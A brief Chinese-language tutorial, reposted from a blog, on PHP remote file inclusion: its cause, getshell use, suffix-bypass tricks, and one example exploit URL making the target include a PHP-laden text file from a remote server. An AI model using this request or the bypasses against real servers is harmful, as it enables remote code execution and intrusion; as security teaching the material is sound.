ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

php远程文件包含

2021-10-14 03:31:06  阅读:31  来源: 互联网

标签:文件 php 包含 include txt 远程


产生原因

PHP的配置选项allow_url_include为ON,则include/require函数可以加载远程文件

一般用途

远程包含含有php代码的txt文件,服务器进行解析后执行相关操作收集信息或getshell
当进行有限制的远程文件包含漏洞时,例如包含文件同时在文件名后加后缀html,则可以用?#和空格等绕过(fuzz大法好)

利用

http://127.0.0.1/index.php?page=http://远程服务器ip/2.txt

标签:文件,php,包含,include,txt,远程
来源: https://www.cnblogs.com/lulu-3214536072/p/15404992.html

专注分享技术,共同学习,共同进步。侵权联系[admin#icode9.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有